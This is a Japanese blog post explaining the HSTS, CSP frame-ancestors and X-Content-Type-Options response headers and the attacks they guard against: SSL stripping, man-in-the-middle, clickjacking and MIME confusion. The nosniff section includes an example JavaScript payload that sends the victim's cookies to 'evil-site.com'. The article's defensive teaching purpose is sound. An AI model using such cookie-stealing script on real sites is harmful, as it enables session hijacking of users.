ポートフォリオサイトのロゴ
Icon for 「Webサービス公開前のチェックリスト」にあるレスポンスヘッダの内容を調べてみる

「Webサービス公開前のチェックリスト」にあるレスポンスヘッダの内容を調べてみる

Webサービス公開前のチェックリストにあるレスポンスヘッダの意味が全くわからなかったので、どんなリスクから守ってくれるのかを調べてみました。この記事ではWebサービスを公開する前に必要なレスポンスヘッダの内容と設定しなかったときのリスクを知ることができます。

はじめに

レスポンスヘッダの設定値をあまり気にしてきたことがなかったので、下記記事で公開されているレスポンスヘッダの内容を調べてみました。

zenn.dev

Webサービス公開前のチェックリスト

記載されている内容は下記の3つです。

  • Strict-Transport-Security
  • Content-Security-Policy: frame-ancestors
  • X-Content-Type-Options: nosniff

実際に確認していきましょう!

Strict-Transport-Security (HSTS) の詳細解説

背景と基本概念

HTTP Strict Transport Security (HSTS) は、Webサイトが「HTTPS接続のみを使用する」ことをブラウザに強制的に指示するための仕組みです。 これは単なる推奨ではなく、ブラウザに対する「命令」として機能します。

従来のHTTP通信では、最初にHTTPでアクセスした後、サーバーからリダイレクトを受けてHTTPSに切り替えるというプロセスが一般的でした。 この「HTTP→HTTPS」の移行過程に潜在的なセキュリティホールが存在していました。HSTSはこの問題を解決するために設計されています。

developer.mozilla.org

Strict-Transport-Security - HTTP | MDN

HTTP の Strict-Transport-Security はレスポンスヘッダーで(しばしば HSTS と略されます)、ブラウザーに、そのサイトは HTTPS を使用してのみアクセスすべきであり、今後 HTTP を使用してアクセスしようとした場合は自動的に HTTPS にアップグレードされるべきであるという情報を通知します。

実際の攻撃(SSLストリッピング攻撃)

2009年、セキュリティ研究者のMoxie Marlinspike氏が「sslstrip」というツールを発表しました。このツールは、ユーザーとウェブサイト間の通信を傍受し、HTTPS接続をHTTPにダウングレードするという攻撃(SSLストリッピング攻撃)を可能にします。

以下のような例です。

  1. ユーザーが「example.com」とブラウザに入力する(HTTPSを明示的に指定していない)
  2. ブラウザは最初にHTTP経由でリクエストを送信
  3. 通常なら、サーバーは「https://~~」へのリダイレクトを返す
  4. しかし、中間者攻撃者がこの通信を傍受
  5. 攻撃者は、リダイレクトを捕捉し、以降の通信を暗号化されていないHTTPで続行
  6. ユーザーは安全な接続を使用していると思い込むが、実際には攻撃者に全通信を監視されている

この攻撃は、公共Wi-Fiなどの信頼できないネットワークで非常に危険です。 ユーザーはHTTPSの鍵アイコンを見ないかもしれませんが、多くの場合そのような細かい点を見落としがちです。

Info

公共Wi-Fiを接続するときは鍵アイコン(HTTPS)が設定されていることを確認しましょう。

HSTSの仕組みと効果

HSTSはこの問題に対処するために、Webサイトが以下の指示をブラウザに送ることを可能にします。

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

パラメータの詳細

  • max-age: ブラウザがこのポリシーを記憶し、適用すべき期間(秒単位)。上記の例では1年間。
  • includeSubDomains: このポリシーをメインドメインだけでなく、すべてのサブドメイン(例:blog.example.com, shop.example.com)にも適用するという指示。
  • preload: ブラウザのビルトインHSTSリストに含めるための指示。

実際の動作プロセス

  1. ユーザーが初めて(またはmax-age期間経過後に)HTTPSでWebサイトにアクセスする
  2. サーバーはレスポンスヘッダーでHSTSポリシーを送信
  3. ブラウザはこのポリシーを保存し、指定された期間中、そのドメインへのすべてのアクセスを自動的にHTTPSにアップグレード
  4. 以降、ユーザーが「http://~~」と入力しても、ブラウザは内部で「https://~~」に変換してからリクエストを送信

最初のHTTPSアクセス以降は、中間者攻撃者がHTTPにダウングレードする機会が一切なくなります。

設定しないことのリスク

あるユーザーが公共Wi-Fiからオンラインバンキングにアクセスするシナリオを考えてみましょう。 銀行サイトがHSTSを実装していない場合は、このような事象が発生するかもしれません。

  1. ユーザーがブラウザのアドレスバーに「mybank.com」と入力
  2. 攻撃者が中間者攻撃を仕掛け、HTTP接続を維持したまま、バンク風の偽サイトを表示
  3. ユーザーは偽サイトに自分のユーザー名とパスワードを入力
  4. 攻撃者はこの情報を捕捉し、実際の銀行サイトに転送して認証を完了
  5. ユーザーは正常にログインできたと思い込み、攻撃に気付かない

中間者攻撃

中間者攻撃(MITM攻撃)とは、通信を行っている二者(例えばユーザーとウェブサイト)の間に第三者が入り込み、両者は互いに直接通信していると思っているのに、実際にはその第三者が通信を傍受・監視・改ざんしている状態を指します。

developer.mozilla.org

MitM (中間者攻撃) - MDN Web Docs 用語集: ウェブ関連用語の定義 | MDN

Man-in-the-middle attack(MitM、中間者攻撃)は、2 つのシステム間の通信を傍受します。たとえば、Wi-Fi ルーターが侵害される可能性があります。

基本的な仕組み

  1. 通信の傍受: 攻撃者はユーザーとサーバー間の通信経路に自分を位置させます

  2. 仲介役: 攻撃者は両方に対して「相手のふり」をします

    • ユーザーに対してはサーバーのふり
    • サーバーに対してはユーザーのふり
  3. 情報の流れ: 情報が以下のように流れます

    ユーザー 攻撃者 サーバー
    サーバー 攻撃者 ユーザー

よくある攻撃シナリオ

  1. 攻撃者がカフェなどで「Free Wi-Fi」という偽のアクセスポイントを設置
  2. ユーザーが何も疑わずに接続
  3. すべての通信が攻撃者を経由
  4. 暗号化されていない情報(HTTP通信など)はすべて攻撃者に見られる

攻撃の具体的な影響

  • 情報の盗難: パスワード、クレジットカード情報、個人情報など
  • セッションハイジャック: ログイン情報を盗んでユーザーになりすます
  • データの改ざん: 送受信される情報を変更する(例:銀行振込先の口座番号を変更)
  • マルウェア注入: ダウンロードファイルにマルウェアを追加する

Content-Security-Policy: frame-ancestors

背景と基本概念

Content Security Policy (CSP) は、クロスサイトスクリプティング (XSS) やその他のコンテンツインジェクション攻撃からウェブサイトを保護するために設計されたセキュリティレイヤーです。 CSPは複数のディレクティブで構成されており、その中の一つが frame-ancestors ディレクティブです。

frame-ancestors ディレクティブは、どのサイトがあなたのウェブページを iframe、frame、object、embed、applet などの要素内に表示(埋め込み)できるかを制御します。

これは「クリックジャッキング」と呼ばれる攻撃から保護するために導入されました。

developer.mozilla.org

CSP: frame-ancestors - HTTP | MDN

HTTP の Content-Security-Policy (CSP) である frame-ancestors ディレクティブは <frame>、<iframe>、<object> 、<embed>、<applet> などを使ってページを埋め込むことのできる親を指定します。

クリックジャッキング攻撃とその歴史

クリックジャッキングは、悪意のあるサイトが透明なiframeを使用して、ユーザーに見えない形で別のウェブサイトを埋め込みます。

典型的なクリックジャッキング攻撃のシナリオ

  1. 攻撃者は魅力的なコンテンツ(例:「無料プレゼントをゲット!」といったボタン)を持つウェブサイトを作成します
  2. そのページの背後に、透明なiframeで標的となるウェブサイト(例:Facebookの「いいね!」ボタンや銀行の送金フォーム)を配置します
  3. ユーザーがその魅力的なボタンをクリックしようとすると、実際には透明なiframeの中の「いいね!」ボタンや「送金を承認」ボタンをクリックすることになります

従来の対策とその限界: X-Frame-Options

クリックジャッキングへの最初の対応策として、2009年にMicrosoftが X-Frame-Options HTTPヘッダーを導入しました。このヘッダーは3つの値をサポートしていました:

  • DENY: ページをフレーム内に表示することを完全に禁止
  • SAMEORIGIN: 同一オリジンからのフレーミングのみを許可
  • ALLOW-FROM uri: 特定のURIからのフレーミングのみを許可

しかしX-Frame-Options にはいくつかの制限がありました。

  1. 複数のドメインを許可するメカニズムがなかった(ALLOW-FROM は一度に1つのURIしか指定できない)
  2. ブラウザのサポートが不完全だった(特に ALLOW-FROM のサポート)
  3. CSPの他のセキュリティ機能と統合できなかった

これらの制限を解消するために、CSPの frame-ancestors ディレクティブが導入されました。

CSP frame-ancestors の動作メカニズム

frame-ancestors ディレクティブは、以下のような構文で使用されます:

Content-Security-Policy: frame-ancestors <source> <source> ...

ここで <source> は以下のいずれかになります:

  • 'none': どのサイトからもフレーム内に表示されることを許可しない
  • 'self': 同一オリジンからのフレーミングのみを許可
  • <origin>: 特定のオリジン(例:trusted-site.com)からのフレーミングを許可
  • *: 任意のオリジンからのフレーミングを許可(非推奨)

frame-ancestors の実際の動作

ブラウザがウェブページを読み込もうとした際、そのページが iframe などのフレーム内に表示されている場合、ブラウザは以下の手順でチェックを行います。

  1. そのページの CSP frame-ancestors ディレクティブを確認
  2. 現在のフレーミングサイト(親ページ)のオリジンが許可リストに含まれているかを検証
  3. 含まれていない場合、ブラウザはフレームの読み込みをブロック

具体的な設定例と意味

Content-Security-Policy: frame-ancestors 'self'

→ 同一オリジンのサイトだけがこのページをフレーム内に表示できる

Content-Security-Policy: frame-ancestors 'none'

→ どのサイトもこのページをフレーム内に表示できない

Content-Security-Policy: frame-ancestors https://trusted-partner.com https://admin.company.com

→ trusted-partner.com と admin.company.com のみがこのページをフレーム内に表示できる

設定しないことによるリスク

frame-ancestors を設定していない場合、以下のようなリスクが発生します。

クリックジャッキング攻撃への脆弱性

上記のクリックジャッキング攻撃にさらされることです。 ユーザーは意図しないアクションを実行させられる可能性があります。 具体的には以下のような事象です。

  • 知らないうちに資金を送金
  • 意図しないソーシャルメディア投稿
  • アカウント設定の変更
  • プライバシー情報へのアクセス許可

X-Content-Type-Options: nosniff

背景と基本概念

このヘッダーは「MIME Type スニッフィング」と呼ばれるブラウザの機能に関連しています MIME Type(Multipurpose Internet Mail Extensions)は、ウェブ上で交換されるファイルの形式を示す識別子です。 例えば、HTMLファイルは text/html、JavaScriptファイルは application/javascript、JPEGイメージは image/jpeg などのMIME Typeで識別されます。

MIMEタイプスニッフィングとは

ブラウザが受け取ったコンテンツのMIME Typeを決定する際、通常はサーバーからレスポンスで送られる Content-Type ヘッダーを参照します。 しかし、以下のような状況が発生することがあります。

  1. サーバーが Content-Type ヘッダーを送信しない
  2. 送信されたMIME Typeが不正確である(設定ミスなど)
  3. ファイルの実際の内容と宣言されたMIME Typeが一致しない

こうした状況に対応するため、ブラウザは「MIME Type スニッフィング」と呼ばれる技術を使用します。 この技術ではブラウザがファイルの内容を検査して、それが何の種類のファイルであるかを推測します。

例えば、HTMLのタグが含まれているファイルは、宣言されたMIME Typeに関わらず、HTMLファイルとして処理される可能性があります。 このスニッフィング機能は不適切に設定されたサーバーからのコンテンツを正しく表示するために役立つ場合がありますが、セキュリティリスクも生じさせます。

MIME混同攻撃の実態

MIME混同攻撃(MIME Confusion Attack)は、ブラウザのMIME Typeスニッフィングを悪用して、悪意のあるコードを実行させる攻撃です。以下に実例を示します。

テキストファイルとして配信されるJavaScript

サイトがユーザーからテキストファイルのアップロードを許可していたとします。攻撃者は次のようなスクリプトを含む「innocent.txt」ファイルをアップロードします。

alert("Your site has been hacked");
document.cookie = "stolenCookie=" + document.cookie;
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://evil-site.com/steal?cookie=" + document.cookie, true);
xhr.send();

このファイルは text/plain MIME Typeでサーバーに保存され、同じMIME Typeで配信されます。 通常、ブラウザはこれをプレーンテキストとして扱うべきですが、MIME Typeスニッフィングが有効な場合、ブラウザはこの内容を解析して「これはJavaScriptかもしれない」と判断する可能性があります。 このファイルが <script src="uploads/innocent.txt"></script> のようにWebページに含まれていた場合、スクリプトが実行され、ユーザーのクッキーが攻撃者のサイトに送信されてしまいます。

X-Content-Type-Options: nosniff の仕組み

X-Content-Type-Options: nosniff ヘッダーを設定すると、ブラウザのMIME Typeスニッフィングが無効になります。 これにより、サーバーが宣言したMIME Typeのみが尊重され、内容に基づく推測は行われなくなります。 具体的には、以下のような状況で保護が提供されます。

  1. スクリプトとスタイルシートのコンテキスト
    • <script> または <style> タグでリソースが読み込まれる場合、宣言されたMIME Typeが正しくない場合はブロックされる
    • 例えば、text/plain MIME Typeのリソースが <script> タグで読み込まれても実行されない
  2. 画像のコンテキスト
    • <img> タグで読み込まれるリソースは、適切な画像MIME Typeであることが必要
    • 画像でないコンテンツが画像として読み込まれようとした場合、ブロックされる

実装方法

この保護を有効にするには、サーバーのレスポンスヘッダーに以下を含める必要があります。

X-Content-Type-Options: nosniff

このヘッダーは唯一の値である nosniff のみをサポートしています。

設定しないことによるリスク

X-Content-Type-Options: nosniff ヘッダーを設定しない場合、以下のようなリスクが考えられます。

クロスサイトスクリプティング (XSS) の脆弱性拡大

ウェブサイトがユーザーからのファイルアップロードを許可している場合、適切なMIME Type制御がなければ、悪意のあるスクリプトが実行される可能性が高まります。テキストファイルとしてアップロードされた悪意のあるJavaScriptが、スニッフィングによって実行可能になる危険があります。

クロスサイトコンテンツハイジャッキング

2017年には、MIME Typeスニッフィングを利用して、あるソーシャルメディアプラットフォームのプライベートコンテンツを盗み出す手法が発見されました。

攻撃者はユーザーを罠サイトに誘導し、スニッフィングを利用してプラットフォームのプライベートJSONデータを読み取ることができました。これは X-Content-Type-Options: nosniff ヘッダーで防止できたはずのものです。

まとめ

これらのセキュリティヘッダーを実装するだけで、安全なWebサイト運営に近づくことができます。 セキュリティは複雑ですが、まずはこの3つの対策で主要な脅威からできる限りの対策はしていきましょう。